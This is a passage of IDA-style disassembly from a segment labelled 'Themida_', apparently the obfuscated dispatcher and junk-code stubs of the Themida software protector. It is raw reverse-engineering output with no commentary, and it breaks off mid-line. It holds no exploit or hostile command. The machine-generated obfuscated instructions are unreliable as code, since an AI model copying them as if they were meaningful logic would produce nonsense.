mov bh, 1Ah jmp loc_585C72 ; --------------------------------------------------------------------------- loc_5884C5: ; CODE XREF: Themida_:00588F66j push eax mov eax, esp push esi mov esi, 4FA663B9h sub esi, 0FFFFFFFFh jmp loc_58D3A1 ; --------------------------------------------------------------------------- loc_5884D6: ; CODE XREF: Themida_:00583D2Dj sub bl, al add bl, 0D1h jmp loc_58FF85 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_5884E0: ; CODE XREF: sub_585452+64Fj pop edx shl edx, 6 sub edx, 0A550E6BCh add ecx, 2AAE50D8h add ecx, 49BC24D5h jmp loc_58F299 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EFBD loc_5884FB: ; CODE XREF: sub_58EFBD-3276j add esp, 4 push edi push esp pop edi add edi, 4 push ecx jmp loc_587F43 ; --------------------------------------------------------------------------- loc_58850D: ; CODE XREF: sub_58EFBD-10B1j mov ebx, 3ECA1652h add ebp, 7E602FB5h add ebp, ebx jmp loc_586F22 ; END OF FUNCTION CHUNK FOR sub_58EFBD ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcr dword ptr [esp], cl pushf jmp loc_5878B6 ; --------------------------------------------------------------------------- mov cx, [esp] push 4ECAh jmp loc_589AEE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58853C: ; CODE XREF: sub_585452+7B40j mov bh, cl jmp loc_584A53 ; --------------------------------------------------------------------------- loc_588543: ; CODE XREF: sub_585452+54C1j mov edx, esp sub esp, 4 mov [esp+52h+var_54+2], ebx mov ebx, 4 add edx, ebx mov ebx, [esp+52h+var_54+2] push esi mov esi, esp jmp loc_58C437 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_588560: ; CODE XREF: Themida_:00585EB4j push 2 pop esi add edx, esi jmp loc_585460 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58856D: ; CODE XREF: sub_585452+46Bj push edi push eax push 511E4519h jmp loc_589B2B ; --------------------------------------------------------------------------- loc_588579: ; CODE XREF: sub_585452+74D4j sub esi, 0D920C8Ah jmp loc_58C3F1 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F3BC loc_588584: ; CODE XREF: sub_58F3BC-6D17j push esi mov esi, 339B46CDh jmp loc_587BD7 ; END OF FUNCTION CHUNK FOR sub_58F3BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58858F: ; CODE XREF: sub_585452+19B4j add edi, 57EBEAD0h and edx, edi mov edi, [esp+0Ah+var_C+2] add esp, 4 jmp loc_58AFF3 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EFBD loc_5885A2: ; CODE XREF: sub_58EFBD-B7Fj xor ebx, 0D64F66AAh push esi push ebp jmp loc_58DD90 ; END OF FUNCTION CHUNK FOR sub_58EFBD ; --------------------------------------------------------------------------- loc_5885AF: ; CODE XREF: Themida_:00584C3Aj add eax, 4 jmp loc_5885FE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_5885B7: ; CODE XREF: sub_585452+1F83j add ebp, 4 jmp loc_58BEB0 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_5885BF: ; CODE XREF: Themida_:0058CF4Fj sub eax, 607793Ch or [edi+1Ch], eax mov eax, [esp] add esp, 4 jmp loc_583C20 ; --------------------------------------------------------------------------- loc_5885D5: ; CODE XREF: Themida_:0058FA53j add esp, 4 jmp loc_58BD79 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_5885DD: ; CODE XREF: sub_585452-C05j sub ecx, eax pop eax and eax, ecx push dword ptr [esp+0] pop ecx add esp, 4 or eax, eax jz sub_58DB2A push 552Bh jmp loc_58893B ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_5885FE: ; CODE XREF: Themida_:005885B2j xchg eax, [esp] jmp loc_588319 ; --------------------------------------------------------------------------- loc_588606: ; CODE XREF: Themida_:00586AD5j sub eax, 22314055h mov esi, [esp] add esp, 4 push edi mov edi, 4 sub eax, edi mov edi, [esp] jmp loc_588C60 ; --------------------------------------------------------------------------- loc_588621: ; CODE XREF: Themida_:0058F8ADj pop eax add edx, edi jmp loc_58B912 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_588629: ; CODE XREF: sub_585452+1259j pop ebx mov esi, [esp+0] add esp, 4 and ecx, ebp push [esp-6+arg_0+2] mov ebp, [esp+0] add esp, 4 add esp, 4 shr ecx, 6 push ebx push [esp-6+arg_0+2] push dword ptr [esp+0] pop eax push ebp push esp pop ebp push eax mov eax, 49457640h jmp loc_587D2D ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58865D: ; CODE XREF: Themida_:00589760j push esi mov esi, 4 add edi, esi pop esi jmp loc_58AC14 ; --------------------------------------------------------------------------- loc_58866B: ; CODE XREF: Themida_:0058F0AFj push esp mov edi, [esp] add esp, 4 push edx sub esp, 4 jmp loc_58E2E4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58867B: ; CODE XREF: sub_585452+420Bj sub ebx, 4 xchg ebx, [esp+6+var_8+2] jmp loc_5873BB ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_588686: ; CODE XREF: Themida_:0058D680j push esi mov esi, esp add esi, 4 jmp loc_58A60C ; --------------------------------------------------------------------------- pop dword ptr [edx] jmp loc_5847DE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58869B: ; CODE XREF: sub_585452+7D6j pop edi mov eax, [esp-0Ch+arg_8] jmp loc_58D383 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F3BC loc_5886A4: ; CODE XREF: sub_58F3BC-7856j push edi jmp loc_588584 ; END OF FUNCTION CHUNK FOR sub_58F3BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58999B loc_5886AA: ; CODE XREF: sub_58999B+50B4j add ecx, 4 jmp loc_58D93A ; END OF FUNCTION CHUNK FOR sub_58999B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58AB18 loc_5886B5: ; CODE XREF: sub_58AB18-6BD6j pop edx jmp loc_58E0E3 ; END OF FUNCTION CHUNK FOR sub_58AB18 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_5886BB: ; CODE XREF: sub_585452+82B3j push ecx mov ecx, 4 add esi, ecx pop ecx push ebx jmp loc_589C80 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_5886CA: ; CODE XREF: Themida_:00583CF1j push ebp jmp loc_589A6E ; --------------------------------------------------------------------------- loc_5886D0: ; CODE XREF: Themida_:00586D43j add bh, 55h or cl, bh mov ebx, [esp] add esp, 4 jmp loc_58B409 ; =============== S U B R O U T I N E ======================================= sub_5886E0 proc near ; CODE XREF: sub_58CF6A+E6Aj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = word ptr -4 ; FUNCTION CHUNK AT 00586858 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0058988F SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00589CDA SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0058AE88 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0058B1C9 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0058D70A SIZE 00000009 BYTES push ebp mov ebp, 8DC039Fh neg ebp push 2CC1h mov [esp+8+var_8], edi push 35813EDAh jmp loc_58AE88 sub_5886E0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_5886FA: ; CODE XREF: Themida_:00584C42j sub eax, 77B44EC9h inc eax xchg eax, edx jmp loc_58A8D3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_588706: ; CODE XREF: sub_585452+6356j sub eax, 887C83Ch add ebx, 2D268C8h add ebx, eax jmp loc_58B628 ; --------------------------------------------------------------------------- loc_588718: ; CODE XREF: sub_585452+4467j sub ecx, 5F7207B8h pop eax sub esp, 4 mov [esp-8+arg_4], ebx mov ebx, 56497C35h jmp loc_584D60 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_587574 loc_588732: ; CODE XREF: sub_587574+7F83j dec esi or esi, 37487494h sub esi, 37EB74D2h jmp loc_58631A ; END OF FUNCTION CHUNK FOR sub_587574 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_589967 loc_588744: ; CODE XREF: sub_589967+3BA2j dec ebx or ebx, 16816326h dec ebx add ebx, 0E0208046h sub ebp, 37A0770Ch add ebp, ebx jmp loc_5866B7 ; END OF FUNCTION CHUNK FOR sub_589967 ; --------------------------------------------------------------------------- loc_58875F: ; CODE XREF: Themida_:00589D09j mov ebx, [esp] push 5B62h mov [esp], edi mov edi, esp jmp loc_586679 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EFBD loc_588771: ; CODE XREF: sub_58EFBD-7723j add edi, esi pop esi mov ecx, [esp+0] jmp loc_584568 ; END OF FUNCTION CHUNK FOR sub_58EFBD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58877C: ; CODE XREF: sub_585452+1C60j mov al, 0B2h add bl, al pop ax add dh, bl pop ebx shl dh, 2 xor dh, 9 mov bl, dh pop edx shr bl, 7 push 0 sub byte ptr [esp+46h+var_48+2], bl mov bl, byte ptr [esp+46h+var_48+2] add esp, 4 or bl, 9Fh sub bl, 81h push ecx jmp loc_58A7B7 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_5887AB: ; CODE XREF: Themida_:00584298j add ebp, ecx pop ecx jmp loc_588AFA ; --------------------------------------------------------------------------- loc_5887B3: ; CODE XREF: Themida_:0058B02Cj mov esi, [esp] add esp, 4 add esi, 4 push ecx mov ecx, 2 add esi, ecx jmp loc_588C77 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C230 loc_5887CC: ; CODE XREF: sub_58C230+181Ej pop ebp add esi, 4 xchg esi, [esp-8+arg_4] mov esp, [esp-8+arg_4] add edi, 3E1E30ACh sub edi, 6EAA4644h add edi, 6BF1F5Bh add edi, ecx sub edi, 6BF1F5Bh add edi, 6EAA4644h sub edi, 3E1E30ACh add edi, 430324F5h add edi, 53CF6FA4h std push 0Ah push [esp-4+arg_0] push dword ptr [esp+0] jmp loc_5853D8 ; END OF FUNCTION CHUNK FOR sub_58C230 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EFBD loc_58881C: ; CODE XREF: sub_58EFBD-6D08j mov [esp+0], esi mov esi, 6F135C71h mov edx, esi jmp loc_5888A9 ; END OF FUNCTION CHUNK FOR sub_58EFBD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58882B: ; CODE XREF: sub_585452+3EA8j push [esp+46h+var_44+2] mov ecx, [esp+4Ah+var_4C+2] add esp, 4 pop [esp+46h+var_48+2] jmp loc_58457E ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- mov eax, [esp] push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp jmp loc_585047 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58960C loc_588854: ; CODE XREF: sub_58960C-4429j add esp, 4 push 2294h mov [esp+4+var_4], ebp push ebx mov ebx, 3E892A5Eh jmp loc_586C94 ; END OF FUNCTION CHUNK FOR sub_58960C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EFBD loc_58886D: ; CODE XREF: sub_58EFBD+126j add ecx, 4C44859h mov eax, [ecx] pop ecx pop edx pop ebx push dword ptr [edi+eax*4] push ebp push eax mov eax, 1B0E6059h neg eax shr eax, 8 jmp loc_584882 ; END OF FUNCTION CHUNK FOR sub_58EFBD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58A5A3 loc_58888C: ; CODE XREF: sub_58A5A3-33AFj xor eax, 65E745F6h not eax shl eax, 5 jmp loc_587EC7 ; END OF FUNCTION CHUNK FOR sub_58A5A3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58889B: ; CODE XREF: sub_585452+A995j add esp, 4 add ebx, 18346755h jmp loc_58D925 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EFBD loc_5888A9: ; CODE XREF: sub_58EFBD-6797j pop esi shr edx, 6 push ecx push 45h mov [esp+4+var_4], eax mov eax, 396F61A6h jmp loc_584F49 ; END OF FUNCTION CHUNK FOR sub_58EFBD ; --------------------------------------------------------------------------- loc_5888C0: ; CODE XREF: Themida_:0058E82Bj pop eax add esp, 4 add esp, 4 push 276Ch mov [esp], ebp push esp jmp loc_586E0B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58BB49 loc_5888D5: ; CODE XREF: sub_58BB49-742Aj add esp, 4 jmp loc_5872A1 ; END OF FUNCTION CHUNK FOR sub_58BB49 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58BCA7 loc_5888E0: ; CODE XREF: sub_58BCA7-5D69j mov ebx, 57F70AA1h jmp loc_58640A ; END OF FUNCTION CHUNK FOR sub_58BCA7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_5888EA: ; CODE XREF: sub_585452+81Bj add bh, 25h jmp loc_58417E ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_5888F2: ; CODE XREF: Themida_:005890FCj xchg edi, [esp] mov esp, [esp] mov eax, [esp] push 13CAh mov [esp], edx push esp pop edx add edx, 4 jmp loc_585794 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_588910: ; CODE XREF: sub_585452-697j mov eax, esp jmp loc_58454B ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_588917: ; CODE XREF: Themida_:0058AB06j push esi mov esi, esp add esi, 4 sub esi, 4 jmp loc_58A106 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58E234 loc_58892B: ; CODE XREF: sub_58E234-1258j mov esi, 5E5C0CF4h and esi, 6FB602Fh jmp loc_587CF3 ; END OF FUNCTION CHUNK FOR sub_58E234 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58893B: ; CODE XREF: sub_585452+31A7j mov [esp+0], edx mov edx, 1Ch add edx, 1B8B53B8h sub edx, 569B7031h add edx, edi add edx, 569B7031h push edi push edx push 65AC14E0h pop edx jmp loc_58F565 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_588964: ; CODE XREF: Themida_:0058B222j pop ebp jmp loc_58B2DC ; --------------------------------------------------------------------------- loc_58896A: ; CODE XREF: Themida_:0058B563j pop esp mov [esp], esi push 20D2h jmp loc_58B025 ; --------------------------------------------------------------------------- loc_588978: ; CODE XREF: Themida_:0058452Cj add ebp, 495F307Ah add ebp, esi sub ebp, 495F307Ah pop esi jmp loc_58BD2A ; --------------------------------------------------------------------------- loc_58898C: ; CODE XREF: Themida_:0058D85Aj not edx add edx, 20163815h mov ebp, edx pop edx jmp loc_584E72 ; --------------------------------------------------------------------------- loc_58899C: ; CODE XREF: Themida_:0058E6BDj add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp push dword ptr [eax] jmp loc_583C20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_5889B0: ; CODE XREF: sub_585452+21ECj pop [esp+46h+var_48+2] pop esp add byte ptr [esp+3Eh+var_40+2], al pushf jmp loc_583C20 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_589967 loc_5889BD: ; CODE XREF: sub_589967-8E8j mov ebp, esi pop esi pop edx sub [edi+24h], ebp mov ebp, [esp+18h+var_18] push ebp push esp jmp loc_58E7F4 ; END OF FUNCTION CHUNK FOR sub_589967 ; --------------------------------------------------------------------------- loc_5889CE: ; CODE XREF: Themida_:0058F04Fj add esi, ebx mov ebx, [esp] push esi push esp pop esi push edx mov edx, 4 add esi, edx pop edx push 5299h mov [esp], ecx mov ecx, 4 add esi, ecx pop ecx xchg esi, [esp] jmp loc_5899C3 ; --------------------------------------------------------------------------- loc_5889F7: ; CODE XREF: Themida_:00589B98j push ecx push eax mov eax, 475948B2h mov ecx, 475948B6h sub ecx, eax jmp loc_583F7A ; --------------------------------------------------------------------------- loc_588A0A: ; CODE XREF: Themida_:0058E49Ej not di xchg di, [esp] pop si xchg si, [esp] mov bp, [esp] push edi mov edi, esp add edi, 4 add edi, 2 xchg edi, [esp] pop esp xchg bp, [esp] jmp loc_583C20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_588A34: ; CODE XREF: sub_585452+82DFj pop esp push edx mov edx, 274F0327h sub eax, edx pop edx sub eax, ebx jmp loc_5848EE ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_588A45: ; CODE XREF: Themida_:0058EE1Ej add ebx, 2 xchg ebx, [esp] mov esp, [esp] xor [esp], al pushf jmp loc_583C20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_588A5A: ; CODE XREF: sub_585452+59E7j mov ebp, 7BF445A8h mov edx, ebp pop ebp add [esp+3Ah+var_34+2], edx jmp loc_58F1EA ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_588A6B: ; CODE XREF: Themida_:0058B37Cj jmp loc_583C20 ; --------------------------------------------------------------------------- loc_588A70: ; CODE XREF: Themida_:0058747Ej jmp loc_583C20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_588A75: ; CODE XREF: sub_585452+2F1Bj mov esp, [esp-14h+arg_E+2] mov [esp-14h+arg_E+2], edx sub esp, 4 jmp loc_58D602 ; --------------------------------------------------------------------------- loc_588A83: ; CODE XREF: sub_585452-21Dj dec edx push edi mov edi, 60BC3284h dec edi inc edi jmp loc_58903D ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_588A91: ; CODE XREF: Themida_:0058E90Dj mov [esp], ecx push dword ptr [esp+4] mov ecx, [esp] add esp, 4 jmp loc_58A0C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_588AA6: ; CODE XREF: sub_585452+5354j mov [esp+0], ecx jmp loc_5863BF ; --------------------------------------------------------------------------- loc_588AAE: ; CODE XREF: sub_585452+1F6Dj mov ah, 0CBh or ch, ah pop eax jmp loc_58AE3E ; --------------------------------------------------------------------------- loc_588AB8: ; CODE XREF: sub_585452+236Cj mov cl, ah pop eax pop edx jmp loc_58B19E ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_588AC1: ; CODE XREF: Themida_:0058DCA4j mov [esp], si jmp loc_58BF88 ; --------------------------------------------------------------------------- loc_588ACA: ; CODE XREF: Themida_:0058968Cj push edx mov edx, 2 jmp loc_58B6B3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_589967 loc_588AD5: ; CODE XREF: sub_589967-51BAj pop ebp xor ebp, edx jmp loc_58A317 ; END OF FUNCTION CHUNK FOR sub_589967 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_588ADD: ; CODE XREF: sub_585452-1202j mov edi, esp add edi, 4 push eax push 4 pop eax add edi, eax jmp loc_58429D ; --------------------------------------------------------------------------- loc_588AF3: ; CODE XREF: sub_585452+A199j push edi push esp jmp loc_589640 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_588AFA: ; CODE XREF: Themida_:005887AEj shl ebp, 6 shl ebp, 2 sub ebp, 0FFFFFFFFh push ecx mov ecx, 519345B1h shl ecx, 7 xor ecx, 0C968CB81h add ebp, ecx pop ecx add eax, ebp pop ebp xchg eax, [esp] mov esp, [esp] ror byte ptr [esp], cl pushf jmp loc_583C20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_588B27: ; CODE XREF: sub_585452+37C0j add esi, ebp add esi, 527F2A13h pop ebp xor esi, [esp-4+arg_0] jmp loc_5857E9 ; --------------------------------------------------------------------------- loc_588B38: ; CODE XREF: sub_585452+A0F2j mov ebp, ecx pop ecx and ebp, 60D2067Ah push edx jmp loc_58F760 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58CA39 loc_588B47: ; CODE XREF: sub_58CA39+8j pop ebp mov eax, ecx pop ecx add ebx, eax pop eax xchg ebx, [esp+0] jmp loc_587E0E ; END OF FUNCTION CHUNK FOR sub_58CA39 ; --------------------------------------------------------------------------- loc_588B56: ; CODE XREF: Themida_:00587793j push esi push 4 jmp loc_58DA8E ; --------------------------------------------------------------------------- push 5A13h mov [esp], esp sub esp, 4 mov [esp], ebp jmp loc_58E8FF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_588B74: ; CODE XREF: sub_585452+69DBj push esi jmp loc_587719 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EFBD loc_588B7A: ; CODE XREF: sub_58EFBD-59ECj add edx, ecx mov ecx, [esp+4+var_4] jmp loc_58BF3C ; --------------------------------------------------------------------------- loc_588B84: ; CODE XREF: sub_58EFBD-8AE2j push ecx push esp pop ecx add ecx, 4 sub ecx, 4 xchg ecx, [esp-4+arg_0] mov esp, [esp-4+arg_0] jmp loc_5882AD ; END OF FUNCTION CHUNK FOR sub_58EFBD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_588B9E: ; CODE XREF: sub_585452-1063j mov esp, [esp-4+arg_0] imul cx push small 0F8Eh mov [esp+0], dx push ax pushf jmp loc_583C20 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_588BB4: ; CODE XREF: Themida_:0058CE35j push 1FEFh mov [esp], esi mov esi, 4 add ecx, esi push dword ptr [esp] pop esi add esp, 4 add ecx, 2 xchg ecx, [esp] jmp loc_588170 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_588BD8: ; CODE XREF: sub_585452+6638j pop esi push edx mov edx, 4 jmp loc_58B2EE ; --------------------------------------------------------------------------- loc_588BE4: ; CODE XREF: sub_585452+7D7Cj mov ebx, edx pop edx jmp loc_583C20 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_588BEC: ; CODE XREF: Themida_:00585F2Dj pop eax sub ebp, 77270A8Bh xor ebp, 0E6D84375h add ecx, ebp mov ebp, [esp] jmp loc_588F51 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_588C03: ; CODE XREF: sub_585452+F80j add esi, ebx pop ebx push ebp mov ebp, 4 sub esi, 527F2A13h jmp loc_588B27 ; --------------------------------------------------------------------------- loc_588C17: ; CODE XREF: sub_585452+1BB3j xor esi, 6388CFC3h jmp loc_58FB34 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_588C22: ; CODE XREF: Themida_:00586853j add ebx, 4 xchg ebx, [esp] pop esp sub esp, 4 mov [esp], edi push ecx push 7B3D70F4h pop ecx add ecx, 0C8E3C126h mov edi, ecx pop ecx jmp loc_58D5E4 ; --------------------------------------------------------------------------- loc_588C44: ; CODE XREF: Themida_:005846E2j push dword ptr [esp] pop ecx push 30Ah mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_58AA92 ; --------------------------------------------------------------------------- loc_588C60: ; CODE XREF: Themida_:0058861Cj add esp, 4 push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] mov esp, [esp] mov [esp], ecx jmp loc_583C20 ; --------------------------------------------------------------------------- loc_588C77: ; CODE XREF: Themida_:005887C7j pop ecx sub esp, 4 mov [esp], esi push dword ptr [esp+4] mov esi, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] shl word ptr [esp], cl pushf jmp loc_583C20 ; --------------------------------------------------------------------------- loc_588C9B: ; CODE XREF: Themida_:00584FC6j push ecx mov ecx, 601E5A6Ah and eax, ecx mov ecx, [esp] add esp, 4 and eax, 639219F7h add eax, 65AA0C8Bh not eax add eax, 0B1CE7A63h sub ebx, eax pop eax jmp loc_58F858 ; --------------------------------------------------------------------------- loc_588CC5: ; CODE XREF: Themida_:0058F2D8j pop ecx xor eax, 39333325h mov ebp, eax jmp loc_589414 ; --------------------------------------------------------------------------- loc_588CD2: ; CODE XREF: Themida_:0058A6ECj add dword ptr [esp], 4 jmp loc_587399 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5862E8 loc_588CDE: ; CODE XREF: sub_5862E8+55D9j sub eax, 4 push 4C8Eh mov [esp+4+var_4], eax push dword ptr [esp+4] pop eax pop [esp+4+var_4] jmp loc_5858C2 ; END OF FUNCTION CHUNK FOR sub_5862E8 ; --------------------------------------------------------------------------- loc_588CF6: ; CODE XREF: Themida_:00589093j mov ebp, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp xchg ebx, [esp] jmp loc_5857B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_588D14: ; CODE XREF: sub_585452+A333j mov edx, esp add edx, 4 jmp loc_586C6F ; --------------------------------------------------------------------------- loc_588D21: ; CODE XREF: sub_585452+4BEAj pop ecx pop [esp+6+var_8+2] pop esp pop eax push esi mov esi, 719E0788h jmp loc_58B088 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_588D32: ; CODE XREF: Themida_:0058DD2Dj push ecx jmp loc_584ACB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C230 loc_588D38: ; CODE XREF: sub_58C230+111Cj push ecx push 6A4260A7h push [esp+0Ch+var_C] pop ecx jmp loc_58CC40 ; END OF FUNCTION CHUNK FOR sub_58C230 ; --------------------------------------------------------------------------- loc_588D47: ; CODE XREF: Themida_:0058E10Ej xchg esi, [esp] jmp loc_5845DF ; --------------------------------------------------------------------------- loc_588D4F: ; CODE XREF: Themida_:00587BBFj push edx mov edx, 2 sub esi, 6EC647B8h add esi, edx add esi, 6EC647B8h pop edx xor esi, [esp] xor [esp], esi jmp loc_5848F9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_588D6F: ; CODE XREF: sub_585452+398Bj dec cl not cl jmp loc_58FB7D ; --------------------------------------------------------------------------- loc_588D78: ; CODE XREF: sub_585452+9FAj sub edx, 139E404Ah add edx, ebx add edx, 139E404Ah mov ecx, [edx] mov edx, [esp-1Ah+arg_16] add esp, 4 mov ebx, [esp-1Eh+arg_1A] jmp loc_58A022 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58CCD7 loc_588D99: ; CODE XREF: sub_58CCD7-5FDj push edx mov edx, 0 sub edx, 6B10255Ch add edx, ecx add edx, 6B10255Ch add [edx], ebx pop edx mov ecx, [esp+4+var_4] jmp loc_58D07B ; END OF FUNCTION CHUNK FOR sub_58CCD7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_588DB8: ; CODE XREF: sub_585452+6970j mov [esp-1Eh+arg_1A], ebx jmp loc_58DC35 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_588DC0: ; CODE XREF: Themida_:0058951Bj mov ecx, 350511D5h inc ecx jmp loc_58C60B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_589C10 loc_588DCB: ; CODE XREF: sub_589C10-731j pop ecx add esi, 4 xchg esi, [esp+0] pop esp jmp loc_585FDD ; END OF FUNCTION CHUNK FOR sub_589C10 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_588DD8: ; CODE XREF: sub_585452+3AEBj mov cl, 0DDh sub cl, 0C3h jmp loc_588D6F ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_588DE2: ; CODE XREF: Themida_:0058E8B4j pop eax add esp, 4 shl ebp, 3 xor ebp, 2C53AB4h add edi, ebp mov ebp, [esp] add esp, 4 add edi, 2 push esi jmp loc_585A75 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_588E06: ; CODE XREF: sub_585452+11E3j pop esi sub ebp, 0FFFFFFFFh dec ebp push 230Dh mov [esp+0Ah+var_C+2], esi push ebp mov ebp, 19FBBECAh jmp loc_585476 ; --------------------------------------------------------------------------- loc_588E1E: ; CODE XREF: sub_585452+5F94j add edi, 4 add edi, 4 jmp loc_588E92 ; END OF FUNCTION CHUNK FOR 